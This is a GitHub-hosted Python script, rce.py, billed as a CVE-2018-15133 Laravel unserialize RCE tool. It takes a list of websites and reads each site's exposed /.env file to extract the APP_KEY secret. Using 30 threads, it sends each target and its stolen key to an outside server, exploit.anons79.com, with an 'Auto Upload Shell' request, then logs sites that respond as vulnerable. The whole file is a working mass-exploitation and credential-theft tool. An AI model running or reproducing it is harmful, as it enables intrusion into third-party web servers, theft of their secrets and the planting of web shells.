-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathrce.py
42 lines (39 loc) · 1.18 KB
/
rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests, re
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
from colorama import Fore, init
init(autoreset=True)
Thread_ = '30' #Thread
def app_key(site):
try:
if not re.search('http(s)?://', site): site = 'http://'+site
a = requests.get(site + '/.env')
app = re.findall('APP_KEY=base64:(.*)', a.text)
data = {
'target': site,
'key': app[0],
'autoshell': 'Auto Upload Shell'
}
c = requests.post('http://exploit.anons79.com/', data).text
if re.search('Vuln OK', c):
print(site + "/.env --> " + Fore.YELLOW+"Vuln")
save = open('Vulns.txt', 'a')
save.write(site+'/.env'+'\n')
save.close()
else:
print(site + "/.env --> " + Fore.RED+"Not Vulnerable")
except:
print(site + Fore.RED+" APP_KEY Not Found")
banner = """
[CVE-2018-15133] - Laravel Unserialized RCE
Coded By : KimiHmei7 [AzhariKun]
"""
print banner
site = open(raw_input('Your List : '),'r').read().split()
Thread = raw_input('Thread : ')
if site:
pool = ThreadPool(int(Thread_))
pool.map(app_key, site)
pool.close()
pool.join()
#thanks to Zeerx7 & Con7ext